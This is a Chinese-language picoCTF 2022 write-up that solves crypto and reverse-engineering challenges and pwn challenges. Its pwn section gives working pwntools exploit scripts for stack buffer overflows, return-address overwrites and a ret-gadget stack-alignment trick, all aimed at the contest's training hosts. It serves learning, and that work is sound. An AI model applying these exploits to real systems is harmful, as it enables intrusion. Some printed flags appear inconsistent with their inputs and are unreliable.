picoCTF2022
zach0ry

CRYPTO

Vigenere

题目信息

key CYLAB

cipher: rgnoDVD{O0NU_WQ3_G1G3O3T3_A1AH3S_cc82272b}

题目给了密文和密钥,用随波逐流打开,解密,发现是维吉尼亚加密

image-20250707145151937

flag:picoCTF{D0NT_US3_V1G3N3R3_C1PH3R_ae82272q}

basic-mod1

题目信息

描述: 我们发现这个奇怪的消息在服务器上传递,我们认为我们有一个有效的 decrpytion 方案。取每个数字 mod 37 并将其映射到以下字符集:0-25 是字母表(大写),26-35 是十进制数字,36 是下划线。以 picoCTF 标志格式包装解密的消息(即 picoCTF{decrypted_message})

数字:350 63 353 198 114 369 346 184 202 322 94 235 114 110 185 188 225 212 366 374 261 213

按照题目信息对取模厚的数字根据其ASCLL码修改,并转化为字符输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def simplify_numbers(numbers):
result = []
for num in numbers:
remainder = num % 37
if 0 <= remainder <= 25:
result.append(chr(ord('A') + remainder))
elif 26 <= remainder <= 35:
result.append(str(remainder - 26))
elif remainder == 36:
result.append('_')
else:
result.append(f"[{remainder}]")
return "".join(result)

my_numbers = [350, 63, 353, 198, 114, 369, 346, 184, 202, 322, 94, 235, 114, 110, 185, 188, 225, 212, 366, 374, 261, 213]

simplified_string = simplify_numbers(my_numbers)
print(simplified_string)

flag:picoCTF{R0UND_N_R0UND_ADD17EC2}

substitution0

题目信息

描述:

一条消息进来了,但似乎全都乱七八糟。幸运的是,它似乎一开始就有钥匙。你能破解这个替换密码吗?

密文:

OHNFUMWSVZLXEGCPTAJDYIRKQB

Suauypcg Xuwaogf oacju, rvds o waoiu ogf jdoduxq ova, ogf hacywsd eu dsu huudxu
mace o wxojj noju vg rsvns vd roj ugnxcjuf. Vd roj o huoydvmyx jnoaohouyj, ogf, od
dsod dveu, yglgcrg dc godyaoxvjdj—cm ncyaju o wauod pavbu vg o jnvugdvmvn pcvgd
cm ivur. Dsuau ruau drc acygf hxonl jpcdj guoa cgu ukdauevdq cm dsu honl, ogf o
xcgw cgu guoa dsu cdsua. Dsu jnoxuj ruau uknuufvgwxq soaf ogf wxcjjq, rvds oxx dsu
oppuoaognu cm hyagvjsuf wcxf. Dsu ruvwsd cm dsu vgjund roj iuaq aueoalohxu, ogf,
dolvgw oxx dsvgwj vgdc ncgjvfuaodvcg, V ncyxf soafxq hxoeu Zypvdua mca svj cpvgvcg
aujpundvgw vd.

Dsu mxow vj: pvncNDM{5YH5717Y710G_3I0XY710G_03055505}

解密

猜测密钥凯撒密码加密,把第一句作为密钥

flag; picoCTF{5UB5717U710N_3V0LU710N_03055505}

RE

Safe Opener

题目信息

描述:你能打开这个保险箱吗?我忘记了保险箱的钥匙,但这个程序应该可以帮助我找回丢失的钥匙。你能帮我打开保险箱吗?将您恢复的密码放入 picoCTF 标志格式,例如:picoCTF{password}

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import java.io.*;
import java.util.*;
public class SafeOpener {
public static void main(String args[]) throws IOException {
BufferedReader keyboard = new BufferedReader(new InputStreamReader(System.in));
Base64.Encoder encoder = Base64.getEncoder();//Base6的编码器
String encodedkey = "";
String key = "";
int i = 0;
boolean isOpen;


while (i < 3) {
System.out.print("Enter password for the safe: ");
key = keyboard.readLine();

encodedkey = encoder.encodeToString(key.getBytes());//对密码进行Base64加密
System.out.println(encodedkey);

isOpen = openSafe(encodedkey);//调用方法进行核对
if (!isOpen) {
System.out.println("You have " + (2 - i) + " attempt(s) left");
i++;
continue;
}
break;
}
}

public static boolean openSafe(String password) {
String encodedkey = "cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz";//BASE64加密后的结果

if (password.equals(encodedkey)) {
System.out.println("Sesame open");
return true;
}
else {
System.out.println("Password is incorrect\n");
return false;
}
}
}

正如代码中的注释一样,用户输入密码,进行Base64编码,调用函数检验编码厚的数值是否符合指定字符,所以密码就是指定字符Base64解码

image-20250707160725424

flag:picoCTF{pl3as3_l3t_m3_1nt0_th3_saf3}

GDB test

题目信息

你能得到这面旗帜吗?

以下是试用说明:

1
2
3
4
5
6
$ chmod +x gdbme
$ gdb gdbme
(gdb) layout asm
(gdb) break *(main+99)
(gdb) run
(gdb) jump *(main+104)

解密

按照给的命令进行操作

image-20250707160953950

flag: picoCTF{d3bugg3r_dr1v3_7776d758}

fresh-java

题目信息

你能得到这面旗帜吗?对这个 Java 程序进行逆向工程

用jad-gui打开这个文件,发现该密文已将被定义好了

image-20250707161219444

flag:picoCTF{700l1ng_r3qu1r3d_738cac89}

file-run1

题目信息

已为您提供一个程序,如果您尝试在命令行上运行它会发生什么?

解密

首先要为程序赋权限 chmod +x ru

运行该程序并且执行命令./run

image-20250707163210981

flag:picoCTF{U51N6_Y0Ur_F1r57_F113_9bc52b6b}

file-run2

题目信息

另一个程序,但这一次,它似乎需要一些输入。如果您尝试在命令行上运行它并输入 “Hello!”会发生什么情况?

解密

首先要为程序赋权限 chmod +x ru

运行该程序并且执行命令./run Hello!

image-20250707162758640

flag:picoCTF{F1r57_4rgum3n7_f65ed63e}

Bbbbloat

题目信息

你能得到这面旗帜吗?对这个二进制文件进行逆向工程。

解密

image-20250707165659990

分析得到,最喜欢的是数字应该为549255

为文件赋权限 chmod +x Bbbbloat

运行程序./Bbbbloat

image-20250707165748259

flag:picoCTF{cu7_7h3_bl047_44f74a60}

unpackme

题目描述

你能得到这面旗帜吗?对这个二进制文件进行逆向工程。

解密

文件以upx结尾,尝试upx脱壳

image-20250707205131371

之后拖入ida中

image-20250707205428033

发现最喜爱的数字是754635

flag: picoCTF{up><_m3_f7w_e510a27f}

PWN

RPS

题目描述

这是一个对你玩石头剪刀布的程序。我听说如果你连续赢了 5 次,就会发生好事。可以下载带有标记已编辑的程序源代码 这里

解密

主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

int main () {
char input[3] = {'\0'};
int command;
int r;

puts("Welcome challenger to the game of Rock, Paper, Scissors");
puts("For anyone that beats me 5 times in a row, I will offer up a flag I found");
puts("Are you ready?");

while (true) {
puts("Type '1' to play a game");
puts("Type '2' to exit the program");
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
//前面那些都不重要


if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");

} else if (command == 1) {
printf("\n\n");
if (play()) {
wins++;
} else {
wins = 0;
}

if (wins >= 5) {
puts("Congrats, here's the flag!");
puts(flag);
}
} else if (command == 2) {
return 0;
} else {
puts("Please type either 1 or 2");
}
}

return 0;
}

判断胜负

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//判断胜负
bool play () {
char player_turn[100];
srand(time(0));//电脑的出拳设计
int r;

printf("Please make your selection (rock/paper/scissors):\n");//校验
r = tgetinput(player_turn, 100);
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}

int computer_turn = rand() % 3;//确保在3个手势中随机选择一个
printf("You played: %s\n", player_turn);
printf("The computer played: %s\n", hands[computer_turn]);

if (strstr(player_turn, loses[computer_turn])) {//核验我们所出的是否包含胜利所需要底色那个手势
puts("You win! Play again?");
return true;
} else {
puts("Seems like you didn't win this time. Play again?");
return false;
}
}

所以我们要经过5次循环,且每次循环都要向程序输出rock/paper/scissors的结合

脚本

1
2
3
4
5
6
7
8
from pwn import *

p = remote('saturn.picoctf.net', 60179)
for i in range(5):
p.sendline(b'1')
p.sendline(b'rock/paper/scissors')
print(p.recvline_contains(b'picoCTF{'))

basic-file-exploit 漏洞

题目信息

提供的程序允许您写入文件并从中读取您写入的内容。试着玩弄它,看看你是否能打破它!可以下载带有标记已编辑的程序源代码 这里

解密

有分析可得tgetinput用来校验空输入等基本校验工作,data_write数据输入,data_read数据读取,且其中包含flag的输出

由main可以知道。首先选择要进行的模式,且第一次必须先存入,否则无法调用data_read函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static void data_read() {
char entry[4];
long entry_number;
char output[100];
int r;

memset(output, '\0', 100);

printf("Please enter the entry number of your data:\n");
r = tgetinput(entry, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}

if ((entry_number = strtol(entry, NULL, 10)) == 0) {//尝试将 entry 字符串的开头部分解析成一个十进制的长整型数值,
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}

entry_number--;
strncpy(output, data[entry_number], input_lengths[entry_number]);
puts(output);
}

所以重点就是((entry_number = strtol(entry, NULL, 10)) == 0)的输出结果为0

image-20250708105757613

image-20250708112024405

flag:picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_68466E2F}

buffer overflow 0

题目信息

让我们从简单的开始,你能溢出正确的缓冲区吗?该程序可在此处获得。您可以查看源代码 这里

解密

主函数

image-20250708113508462

signal(11, sigsegv_handler)当程序发生段错误(即收到信号 11,也就是 SIGSEGV)时,不执行默认操作(崩溃),而是跳转到你定义的 sigsegv_handler 函数进行处理。

  • 当你的程序试图访问非法内存地址(如未分配的内存、只读内存、已释放的内存等)时,操作系统会发送这个信号给程序。
  • 默认情况下,收到 SIGSEGV 会导致程序崩溃(段错误)。

示例触发原因:

  • 解引用空指针:*NULL
  • 写入常量字符串:strcpy("hello", "world")
  • 越界访问栈数组、堆数组
  • 使用未初始化的指针

这个对flag.txt文件的操作 相当于bin/sh后门函数

它包含了读取flag,并把flag输出在终端

而在 Linux/Unix 系统中,/bin/sh 是一个指向系统默认 shell(如 Bash)的可执行文件

sigsegv_handler函数

该函数会输出flag

所以只需要实现就可以输出flag

image-20250708115309806

脚本

1
2
3
4
from pwn import *
p = remote("saturn.picoctf.net", 62318)
p.sendline(b'a'*20)
p.interactive()

buffer overflow 1

题目描述

控制退货地址现在我们开始烹饪了!您可以溢出缓冲区并返回到程序中的 flag 函数。你可以在这里查看源代码。

解密

image-20250708153920298

image-20250708143530328

var_4 是什么?

  • 在汇编或反编译工具(如 IDA Pro)中,var_4 是一个由工具自动生成的名称,用于表示一个位于栈上的局部变量。它通常是原始C代码中没有明确命名的变量,或者是编译器为了优化或内部使用而创建的栈空间。
  • 从图片中可以看到,var_4 位于 s 数组的下方(在栈帧中,局部变量通常从 EBP 往下分配)。

var_4 有多大?

  • 图片中 var_4 对应的汇编指令是 dd ?
  • dd 在汇编中是 “Define Doubleword” 的缩写。在 32 位系统中,一个 Doubleword 是 4 字节
  • 因此,var_4 的大小是 4 字节

所以垃圾字节要填充36+4+4=44个字节

win

win是后门函数

填充它的地址

脚本

1
2
3
4
from pwn import *
p = remote("saturn.picoctf.net", 59895)
p.sendline(b'a'*44+p32(0x080491F6))
p.interactive()

buffer overflow 2

题目描述

控制返回地址和参数这一次,您需要控制您返回的函数的参数!您可以从此程序中获取标志吗?你可以在这里查看源代码

解密

image-20250708171855335

s距离返回地址是6C+4个字节

image-20250708172840005

要传参,32位是参数从右到左依次压入栈中

win的地址

image-20250708173339016

gdb动调查看

python wp.py

image-20250708194558739

执行的函数列表

脚本

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
# 本地
# ex = process('./vuln')
# 远程
p = remote('saturn.picoctf.net', 62974)
payload = b'a'*112+p32(0x08049296)+p32(0)+p32(0xCAFEF00D)+p32(0xF00DF00D)

p.sendline(payload)

# p.inter
print(p.recvall())

x-sixty-what

题目描述

溢出 x64 代码在此之前的大多数问题是 32 位 x86。现在我们考虑 64 位 x86,它 只是有点不同!使缓冲区溢出,并将返回地址更改为 flag 函数。 下载源代码

解密

这一题我错了很久,最后发现考了堆栈平衡:crying_cat_face:

但是也学到了一些gdb调试获取信息的方法

image-20250708211430828

image-20250708211442960

image-20250708205411585

gdb调试获得相关信息

readelf -s vuln显示所有函数的信息(在gdb调试之前)

image-20250708210826386

p flag:显示函数flag的信息

image-20250708210712578

(gdb)disassemble vuln:找要填充的字节数()

64位时是0x40+8

32位时是0x40+4

image-20250708211147269

堆栈平衡

同一个程序的每一个 call 指令执行时,rsp(栈指针)的绝对值不一定相同,但其对齐状态是保持一致的。

vuln 函数通过 ret 指令跳转到 flag 函数时,flag 函数的入口处 rsp (栈指针) 可能满足 rsp % 16 == 0 (即 16 字节对齐)。但是,flag 函数的序言 (prologue) 通常会 push rbp (将 rbp 压栈),这会使 rsp 减去 8 字节,导致 rsp % 16 == 8 (8 字节不对齐)。

问题就出在这里:在执行任何 call 指令之前,rsp 必须是 16 字节对齐的。

所以该函数到flag之前要先到ret小工具

使用 ROPgadget (推荐): 在终端中运行(确保你的 vuln 可执行文件在当前目录):

Bash

1
ROPgadget --binary ./vuln --only "ret"

它会列出所有独立的 ret 指令地址。通常你可以选择其中一个地址最小的,或者你觉得“独立”的地址(例如,不在任何重要函数的中间)。0x0040101a 是一个非常常见的备选。

在 GDB/pwndbg 中手动查找: 启动 GDB 调试 ./vuln,然后使用 search-pattern 命令查找 ret 指令的机器码 \xc3

Code snippet

1
search-pattern '\xc3'

你也可以使用 disassemble <section_start_address>, <section_end_address> 来反汇编整个代码段,然后手动查找 ret

直接看出堆栈不平衡

该函数是flag被调用函数输出flag,所以在flag函数中的第一个call的地方下断点

python 你的脚本文件名.py:运行脚本

info registers rsp:查看rsp的寄存器信息

image-20250708215558325

看最后两位

0x48可以整除16,所以现在堆栈平衡了

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

# p = process('./vuln')
# gdb.attach(p, gdbscript='b *0x08049370\ncontinue')
p = remote("saturn.picoctf.net", 50442)

# 之前找到的 flag 函数地址
flag_address = 0x00401236

# 在你的二进制文件中找到一个 ret 小工具的地址
# 假设你找到的是 0x0040101a,请替换为你在 GDB/ROPgadget 中找到的实际地址
ret_gadget_address = 0x0040101a

# 构建 payload:填充 + ret_gadget_address + flag_address
payload = b'A' * (0x40 + 8) + p64(ret_gadget_address) + p64(flag_address)

p.sendline(payload)

print(p.recvall())